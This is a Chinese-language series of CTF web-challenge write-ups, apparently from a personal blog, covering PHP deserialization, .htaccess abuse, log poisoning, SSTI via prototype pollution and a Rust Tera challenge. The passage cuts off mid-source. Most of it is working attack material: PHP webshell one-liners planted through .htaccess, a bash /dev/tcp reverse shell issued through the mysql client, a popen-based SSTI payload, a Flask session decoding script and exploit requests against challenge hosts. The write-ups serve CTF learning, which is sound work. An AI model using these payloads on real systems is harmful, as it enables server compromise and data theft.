发现会以字符串的形式输出当前错误,包含当前的错误信息(payload)以及当前报错的行号(2),而传入Error(‘payload’,1)中的错误代码’1’则没有输出出来,我们再看看两个参数的,怎么绕过MD5以及sha1

  • 可见,$a和$b这两个对象本身是不同的,但是__toString方法返回的结果是相同的,这里之所以需要在同一行是因为__toString返回的数据包含当前行号

  • Exception类与Error的使用和结果完全一样,只不过Exception类适用于PHP5和7,而Error只适用于PHP7

  • 我们可以将题目代码中的$syc和$lover分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码不同即可),但是__toString方法输出的结果相同即可

  • 由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include “/flag” 将flag包含进来即可,由于过滤了引号,我们直接用url取反绕过即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

咳咳咳

1
"?><?=include~".urldecode("%D0%99%93%9E%98")."?>";

这里解释一下,为什么要?>闭合掉,因为前面可能会有一些报错的信息,所以可以先闭合掉前面的东西,然后再来包含后面的是取反,因为在链里面所以需要用到解码,不用编码绕不过去正则,里面是/flag因为题刷多了都在根目录下面,不在的话一步步尝试即可

[PASECA2019]honey_shop

开局只有1336元,但是flag需要1337刀

抓购买的包,啥都没有,且只有一个包
四处点一点
点击大图片抓到一个包

一般这种都会存在任意文件读取

发现app.py

Not allowed 貌似是访问不了

在环境变量中发现了secret_key
有python有密钥,那么我们假定它是flask框架,而flask框架的session是可以破解的
flask session破解脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)


if __name__ == '__main__':
a = '.eJyrVkpKzEnMS05VsjI0MjfRUSooLUrOSCxOLVayilZyTE5MzkxUyMjPS61U0lFyKk3OLs9ITSyBi3ikFiUV4-D5ZOalpOZBubG1AFL4I6A.ZuGLlg.pcPBFM84GaO-5N2VGwuehPvsKXw'
print(decryption(a.encode()))


然后再用加密工具加密,并改一下数值

替换原有的cookie

[XNUCA2019Qualifier]EasyPHP

这题源码不算长,但是有三个解,知识点很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

首先对当前访问的php页面文件index.php所在文件夹进行遍历,获取的结果为当前目录中的文件名和文件夹名,接着在结果筛选出文件名,对文件名进行判断,文件名不为“index.php”的文件都会被删除。

包含文件f13g.php,如果未使用GET方式对参数content和参数filename传值则显示当前PHP文件源码并结束程序。
接收GET方式对参数filename传值,并赋值给变量filename,并限制filename的值仅能使用小写字符和符号“.”,如果含有其他字符则会结束程序。

再次对当前目录下文件执行代码刚开始部分相同的筛选删除。
将变量filename作为文件名,变量content拼接上字符串”\nJust one chance”后作为文件内容写入该文件,但对于file_put_contents来说传入的文件名必须存在对应的文件才能写入,不存在对应文件时并不会创建。
这里并不能利用file_put_contents写入一句话木马,写入代码并不会当作php文件解析,在源代码配置中可以发现,设定了只能访问目录下的index.php时PHP引擎才会开启。

所以接下来我们可以用.htaccess

解法一:

.htaccess中可以配置部分apache指令,这部分指令不需要重启服务端就能生效,利用.htaccess实际上就是利用apache中那些.htaccess有权限配置的指令。
也就是权限为下图中两者的指令

这里师傅们找到了error_log指令,可以用来写文件

error_log是依靠出现错误来触发写日志的,所以最好让error_log把所有等级的错误均写成日志,这样方便我们写入,而error_reporting就能设置写日志需要的错误等级

其中当参数为32767时,表示为所有等级的错误

那如何控制我们写入的内容呢?显然是通过报错,这里师傅们采用的是修改include函数的默认路径

在include函数中 我们可以直接include(“当前目录下文件名”)来使用就是因为定义了默认路径为”./“即当前目录,如果把这个值修改为不存在的路径时,include包含这个路径便会报错

像这样的错误信息便会被写入文件,如果把phpcode换一句话,便能够扩大使用面
最后我们还需要注意我们写入时,写入的内容会接上”\nJust one chance”,在.htaccess中会出现不符合的apache语法的字符时会导致错误,这时我们访问在这个错误.htaccess作用范围内的页面均会返回500
在apache中#代表单行注释符,而\代表命令换行,所以我们可以在末尾加上#,这个时候虽然换行但仍能被注释,效果如下图
我们可以在.htaccess文件的末尾加上#,此时再写入文件的这部分是,#\\nJust one chance所以我们现在要写入的一个.htaccess文件,其包含内容如下图所示(error_log和include_path这种所填入的路径是不必用引号包裹的,但由于我们在此处利用时会使用其他正常路径时并不会出现的字符故进而会导致500,所以应该用引号包裹(单引号和双引号都是可行的))。

1
2
3
4
php_value include_path "./test<?php phpinfo();?>"
php_value error_log "/tmp/f13g.php"
php_value error_reporting 32767
#\

值得注意的是经过不完全测试发现仅三个目录有增删文件的权限,这三个目录分别是/tmp/,/var/tmp/和/var/www/html/(即我们当前储存PHP代码的文件夹),其他目录由于没有增删文件的权限所以我们error_log也因无法在这些目录下创建日志文件而失效(对于tmp文件夹或许是出于临时储存的需求所以需要的权限较低)

此外我们传入的方式是GET方式,在URL中实现传入,所以得把这些内容进行必要URL编码(包括换行,因为.htaccess只能是一行一条命令)后再传入,换行替换为%0d%0a,#替换为%23,?替换为%3f

处理后完整的payload为

1
filename=.htaccess&content=php_value%20include_path%20"./test/<%3fphp%20phpinfo();%3f>"%0d%0aphp_value%20error_log%20"/tmp/fl3g.php"%0d%0aphp_value%20error_reporting%2032767%0d%0a%23\

这里我用python提交显示500

传入后接着再访问一次(携带与不携带payload均是可行的),此时由于include_path的设定,include函数包含错误便会记录在日志中
但此时我们的payload并不可直接使用,在写入日志时符号”<”与”>”被进行了HTML转义,我们的php代码也就不会被识别

所以我们需要采用一种绕过方式,这里师傅们采用的是UTF-7编码的方式,先来看下wiki百科对UTF-7编码的解释:UTF-7 - 维基百科,自由的百科全书 (wikipedia.org)


其编码实际上可以看作是另外一种形式的base64编码,这就意味着对于一个标准的UTF-8编码后字符串,如”+ADs-“在去掉首尾的+和-后可以通过直接的base64编码得到对应字符(虽然编码原理会出现多余字符),但注意反向处理并不会得到UTF-7的编码的。

对于UTF-7编码来说,一个标准得UTF-7编码后字符串应该由+开头由-结尾,实际用于PHP解码时保留开头得+即可保证一个UTF-7编码后字符串被识别

对于UTF-7编码来说,最方便得编码和解码方式还是利用PHP自带的函数来处理(mb_convert_encoding需要PHP将mbstring库打开后才能使用,否则会提示函数未定义)。

回到符号”<”和”>”会被HTML转义的问题上来,我们可以使用其UTF-7编码的格式,同时开启PHP对UTF-7编码的解码,这样就能绕过了。
所以经过UTF-7编码后我们的payload

需要注意的是__halt_compiler函数用来终端编译器的执行,如果我们不带上这个函数的话我们的日志文件会导致500甚至崩掉(但本地复现却不会)

而URL编码处理后payload

1
?filename=.htaccess&content=php_value include_path "/tmp/%2bADw-%3fphp eval($_GET[code]);__halt_compiler();"%0d%0aphp_value error_reporting 32767%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23\

接着我们再访问一次触发include包含的错误路径并记录在日志中,然后我们就需要再写入一个新的.htaccess文件设置让日志中我们的UTF-7编码能够被解码,从而我们PHP代码才能被被解析。

zend.multibyte决定是否开启编码的检查和解析,zend.script_encoding决定采用什么编码,所以我们需要写入的第二个.htaccess文件如下

URL编码后的payload:php_value include_path “/tmp”%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding “UTF-7”%0d%0a%23\

接着我们便可以来使用一句话来读取flag,需要注意的是题目源码说明会删除当前目录下非index.php的所有文件,所以我们再使用一句话之前必须得传一遍第二个.htaccess文件得内容(.htaccess中得设置会在PHP文件执行之前被加载,所以不用担心删除导致.htaccess在本次访问时不生效)

解法二:

在.htaccess中#表示注释符号得意思,所以我们可以将一句话放在#后面,再让PHP文件包含.htaccess,此外再使用符号”"换行得功能绕过对关键词file的检测,再让我们每次访问时均生成这样一个.htaccess,这样就能得到一个可以用在一件上的一句话了。

编码后

1
?filename=.htaccess&content=php_value auto_prepend_fi\%0d%0ale ".htaccess"%0d%0a%23<?php eval($_POST[2]);?>\

或者

1
2
3
4
5
6
7
8
9
10
11
import requests


htaccess = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[2]);?>\\'''


url = 'http://789668f4-b8fe-45c0-acc0-4352307a47eb.node5.buuoj.cn:81/?filename={}&content={}'.format('.htaccess', htaccess)
r = requests.get(url=url)
print(r.status_code)

解法三

采用了关于PHP正则回溯绕过的知识,具体内容可以参考关于PHP正则回溯次数绕过 - Article_kelp - 博客园 (cnblogs.com)

源码中有一段使用了正则匹配过滤,恰好这段正则匹配设置好后肯定会触发回溯

先在.htaccess把正则限制的配置改到最低

URL编码后的的整体payload为:?filename=.htaccess&content=php_value pcre.backtrack_limit 0%0d%0aphp_value pcre.jit 0%0d%0a%23
这个时候我们就能直接上传fl3g.php了,在fl3g.php中写上一句话之后就能为我们所用了。但是要注意传到当前目录是不行的,源码表明了会清除当前目录下非index.php文件,这里选择根目录下的tmp文件上传。

URL编码后的整体payload为:?filename=/tmp/fl3g.php&content=<%3fphp eval($_POST[‘cmd’]);%3f>

再上传一个.htaccess文件,修改设置include_path为/tmp

URL编码后的整体payload为:?filename=.htaccess&content=php_value include_path “/tmp”%0d%0a%23\

这样我们就能使用一句话了,但需要注意index.php会清楚当前目录下非index.php文件,所以连蚁剑是需要注意把上面那句修改include_path的payload也带上,保证每次访问都会生成一个新的.htaccess,这样即使会删除也没问题了

basectf2024 滤个不停

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

payload

1
2
POST
incompetent=HelloWorld&Datch=/var/log/nginx/access.log

/var/log/nginx/access.log 是 Nginx 服务器的访问日志文件。它记录了每次客户端对服务器的请求信息,包括:

  • 客户端 IP 地址:访问者的 IP。
  • 访问时间:请求到达服务器的时间。
  • 请求方法和 URL:客户端请求的 HTTP 方法(如 GET、POST)和 URL 路径。
  • HTTP 状态码:服务器响应的状态码(如 200 表示成功,404 表示未找到,500 表示服务器错误等)。
  • 用户代理:客户端的浏览器信息(User-Agent),用于识别访问者的浏览器、操作系统等信息。
  • 请求大小:请求的大小以及响应的字节数。

我们可以include包含这个路径,然后在ua头写入一句话木马,包含这个一句话木马的ua头,在index.php中解析日志文件中的一句话木马(我是这么理解的。。)

basectf2024 flag直接读取不就行了?

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

这题考察的是对php内置类的理解

内置类DirectoryIterator

是 PHP 内置的类,用于遍历文件系统中的目录。它提供了一个简单的方式来读取目录内容,包括文件和子目录。

1
2
3
4
$dir = new DirectoryIterator('/path/to/directory');
foreach ($dir as $fileInfo) {
echo $fileInfo->getFilename() . "<br>";
}

内置类SplFileObject

SplFileObject 是 PHP 标准库(SPL)中的一个类,用于读取、写入和操作文件。它是 SplFileInfo 类的子类,提供了更高级的文件操作方法,可以以面向对象的方式处理文件。
SplFileObject 可以用来打开文件并进行读取、写入、逐行遍历等操作

1
2
3
4
$file = new SplFileObject('example.txt', 'r');
while (!$file->eof()) {
echo $file->fgets();
}

先进行一次遍历

1
?K=DirectoryIterator&W=/secret/


找到flag在/secret文件夹的f11444g.php

然后用伪协议读取内容

1
POST:J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

[Fin] 1z_php

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

ctype_alpha表示字符检查a-zA-Z,如果匹配到了,则结束程序

下面的正则可以用回溯绕过

1
echo (new $a($b))->$c();

利用点在这句话中
我们可以调用一个内容类来实现文件读取
我们这里用的内部类是SplFileObject
payload

1
2
3
4
GET ?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString

POST
回溯a*1000001+HACKER

__soString()方法用来返回文件的第一行内容,用来返回字符串
这里也可以用python脚本来提交

1
2
3
import requests
res = requests.post("http://101.37.149.223:32943/index.php?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString",data = {"try":"-"*1000001+"HACKER"})
print(res.text)

basectf2024 Back to the future

主页上并没有可利用的信息,发现有robots.txt
robots.txt提示有git泄露
这里用githacker来过去.git的全部内容,不知道是什么原因,网上找的很多版本的githack都无法扫出文件,只有官方wp给的githacker可以扫出来.git的全部内容
githacker
利用githacker把这个项目拉下来

1
githacker --url http://challenge.basectf.fun:42433/ --output ./back-future

我们可以再用git log来查看git历史

可以看到9d85f10e0192ef630e10d7f876a117db41c30417这个提交,我们可以切到那一次提交

1
git checkout 9d85f10e0192ef630e10d7f876a117db41c30417


可以看到flag.txt出现了,读取就能看到flag

basectf2024 RCE or Sql Inject

题目源码

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

和only one sql那道题比较相似,多禁用了一些参数,sql注入基本没可能了
hint

题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权

mysql命令行下输入?时反回的信息,或是在题目中也可以

其中注意到一行

1
system    (\!) Execute a system shell command.

注:貌似只有linux下有这个选项,我的windows环境下没有这个选项
意思是使用system关键字或\!可以直接通过mysql命令行执行一个system shell命令,如下所示

那么问题就简单了,使用换行符绕过注释的限制,使用system(反斜杠被第二个if过滤了)执行命令,env可以直接出flag,也可以弹shell(弹shell测试失败,本地试过语句没问题)

反弹shell语句

1
?sql=%0asystem bash -c 'bash -i >& /dev/tcp/0.0.0.0/6666 0>&1'

[HNCTF 2022 Week1]easy_html

1
Hm_lvt_648a44a949074de73151ffaa0a832aec=1724049171,1725452705,1725455993,1725517791; flagisin=.%2Ff14g.php

进入f14g.php

电话号码一般都为11为,而这里给了限制最多能输入10位,导致每次输入都会报错
这里我们改一下它的前端,改最大能输入11位
输入11位的手机号,flag就出来了

[NISACTF 2022]checkin

题目给出了源码

看似很简单,只需要输入需要的字符即可
然而输入之后却没有输出flag
代码复制到本地后用vscode打开后发现有很多unicode字符

如上图,get参数按照显示的样子提交即可
urlencode后的代码为

1
ahahahaha%3Djitanglailo%26%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan%3D%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6N1SACTF

由于=和&也被url加密了,我们手动解密一下,不然提交不了
改为

1
ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6N1SACTF

[GKCTF 2020]cve版签到

解法一:

页面中只有一个超链接

点进去后为这样

第一感觉是ssrf
这里抓一下包

发现hint

又出现了tip
那改改host,这里改下host的端口试试

解法二:

看这题的题目为cve知道这是一个cve漏洞,漏洞为cve-2020-7006,与get_headers()函数和%00截断有关系
所以要结合cve-2020-7006配合%00截断

[NISACTF 2022]babyupload

文件上传题

不管上传什么文件,都无法上传,连正常的png文件都无法上传

查看源码发现/source目录,进入目录自动下载了www.zip源码
app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))#?是防止sql注入的
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

我们发现我们上传的file.filename不能有.且文件名前会拼接一个前缀upload/ 这里需要用到一个os.path.join()的绝对路径拼接漏洞

os.path.join(path,*paths)漏洞

os.path.join(path,paths)函数用于将多个文件路径连接成一个组合的路径,第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后,这个函数有一个少有人知的特性,*如果拼接的某个路径以/开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径 由此,当上传的文件名为/flag,上传后通过uuid访问文件后,查询到的文件名是/flag,那么进行路径拼接时,upload/将被删除,读取到的就是根目录下的flag文件 如果我们把res[0]=/flag,那么我们就会得到flag路径

[羊城杯 2020]easycon

进入后是一个Ubuntu的默认页面,一般说文件名是index.html

我们输入index.php看看

出现一个弹窗,参数是cmd
可以命令执行

蚁剑连接一下
发现哪都找不到flag,但是/var/www/html下有一个bbbbbb.txt很可疑
内容应该为base64编码

解码后发现有JFIF,这是jpg的文件头,把解码后的代码下载为文件

basectf2024 Sql Inject or RCE

源码

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

这道题和上一道题RCE or Sql Inject几乎没变,仅仅变化了一点过滤,防止了system的命令执行,还将del改成了delete
既然过滤有变化,那么可以从变化下手,del开头的sql关键字并不多,搜一搜就有,chatgpt也会告诉

第一个delete被禁用了,第三个看起来好像用不上,因为题目没有预处理的语句,那么关键的就是第二个DELIMITER
网上关于DELIMITER的解释有很多,基本意思就是可以利用delimiter来更改一条sql语句的结束符,如图

那么这道题就可以用这种方法来打堆叠注入,由于select被禁用无法查看flag,可以使用handler读表的方式来绕过,需要注意的是handler读的时候read first中first被禁用,可以使用read next来绕过

basectf2024 Jinja Mark


如题可知有两个路由,一个是/index,一个是/flag。/index下是一个过滤了花括号的ssti注入,暂时无法注入。先前往/flag,用bp爆破出幸运数字然后上传会得到部分源码。
所以幸运数字是5346

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

根据源码可知在/magic路由下可以进行原型链污染以及/index中存在的黑名单。随后在/magic路由下污染jinja的语法标识符,将”,“修改为”<<”,”>>”或者其它 不影响ssti注入的符号,具体内容如下,传入后去/index进行无过滤的ssti注入即可

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "<<","variable_end_string":">>"
}
}
}
}
}


payload

1
flag=<<''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat f*').read()>>

湖南省赛2024 textme

第一次完整的做rust题,环境调了好久
题目给了附件源码,附件为一个完整的rust项目
文件中有用的差不多就是src下的rs代码了

先看看源代码
auth.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
use axum::{
async_trait,
extract::FromRequestParts,
http::{request::Parts, StatusCode},
response::{IntoResponse, Response},
Json, RequestPartsExt,
};
use axum_extra::{
headers::{authorization::Bearer, Authorization},
TypedHeader,
};
use jsonwebtoken::{decode, DecodingKey, EncodingKey, Validation};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use serde_json::json;

#[async_trait]
impl<S> FromRequestParts<S> for Claims
where
S: Send + Sync,
{
type Rejection = AuthError;

async fn from_request_parts(parts: &mut Parts, _state: &S) -> Result<Self, Self::Rejection> {
let TypedHeader(Authorization(bearer)) = parts
.extract::<TypedHeader<Authorization<Bearer>>>()
.await
.map_err(|_| AuthError::InvalidToken)?;

let token_data = decode::<Claims>(bearer.token(), &KEYS.decoding, &Validation::default())
.map_err(|_| AuthError::InvalidToken)?;
Ok(token_data.claims)
}
}

impl IntoResponse for AuthError {
fn into_response(self) -> Response {
let (status, error_message) = match self {
AuthError::WrongCredentials => (StatusCode::UNAUTHORIZED, "Wrong credentials"),
AuthError::MissingCredentials => (StatusCode::BAD_REQUEST, "Missing credentials"),
AuthError::TokenCreation => (StatusCode::INTERNAL_SERVER_ERROR, "Token creation error"),
AuthError::InvalidToken => (StatusCode::BAD_REQUEST, "Invalid token"),
};
let body = Json(json!({
"error": error_message,
}));
(status, body).into_response()
}
}

#[derive(Debug, Serialize, Deserialize)]
pub struct Claims {
pub username: String,
exp: usize,
}

impl Claims {
pub fn new(username: String) -> Self {
Self {
username,
exp: 10000000000,
}
}
}

#[derive(Debug, Serialize)]
pub struct AuthBody {
access_token: String,
token_type: String,
}

#[derive(Debug)]
pub enum AuthError {
WrongCredentials,
MissingCredentials,
TokenCreation,
InvalidToken,
}

pub static KEYS: Lazy<Keys> = Lazy::new(|| {
// let secret = std::env::var("SECRET_KEY").expect("JWT_SECRET must be set");
let secret = std::env::var("SECRET_KEY").unwrap_or("secret".to_owned());
Keys::new(secret.as_bytes())
});

pub struct Keys {
pub encoding: EncodingKey,
decoding: DecodingKey,
}

impl Keys {
pub fn new(secret: &[u8]) -> Self {
Self {
encoding: EncodingKey::from_secret(secret),
decoding: DecodingKey::from_secret(secret),
}
}
}

main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
use std::path::PathBuf;

use crate::auth::Claims;
use auth::{AuthError, KEYS};
use axum::{
http::StatusCode,
response::{Html, IntoResponse, Response},
routing::{get, post},
Form, Router,
};
use jsonwebtoken::encode;
use jsonwebtoken::Header;
use once_cell::sync::Lazy;
use serde::Deserialize;
use tera::Context;
pub mod auth;

#[tokio::main]
async fn main() {
tracing_subscriber::fmt::init();

let app = Router::new()
.route("/", get(root))
.route("/text", post(text))
.route("/login", post(login))
.route("/read", post(authorization));

let listener = tokio::net::TcpListener::bind("0.0.0.0:80").await.unwrap();
axum::serve(listener, app).await.unwrap();
}

async fn root() -> &'static str {
"Hello, World!"
}

#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceiveLogin {
name: String,
}

async fn login(Form(data): Form<ReceiveLogin>) -> Response {
if data.name != "admin" {
let claims = Claims::new(data.name);
let token: Result<String, AuthError> = encode(&Header::default(), &claims, &KEYS.encoding)
.map_err(|_| AuthError::TokenCreation);

match token {
Ok(token) => (StatusCode::OK, Html::from(token)).into_response(),
Err(e) => e.into_response(),
}
} else {
(StatusCode::OK, Html::from("NONONO".to_owned())).into_response()
}
}

#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceiveText {
text: String,
}

const BLACK_LIST: [&str; 7] = ["{{", "}}", "FLAG", "REPLACE", "+", "__TERA_ONE_OFF", "SET"];

async fn text(Form(data): Form<ReceiveText>) -> (StatusCode, Html<String>) {
let text = data.text;
let check_text = text.to_ascii_uppercase();
for word in BLACK_LIST.iter() {
if check_text.contains(word) {
return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned()));
}
}
if text.len() > 3000 {
return (StatusCode::BAD_REQUEST, Html::from("Too long!".to_owned()));
}

let mut context = Context::new();
let content = tera::Tera::one_off(&text, &mut context, true);

match content {
Ok(content) => (StatusCode::OK, Html::from(content)),
Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())),
}
}

#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceivePath {
path: String,
}
const PATH_PREFIX: Lazy<PathBuf> = Lazy::new(|| PathBuf::new().join("./static"));

async fn authorization(claims: Claims, Form(data): Form<ReceivePath>) -> Response {
if claims.username != "admin" {
return (StatusCode::OK, Html::from("NONONO".to_owned())).into_response();
}

if data.path.contains("..") {
return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned())).into_response();
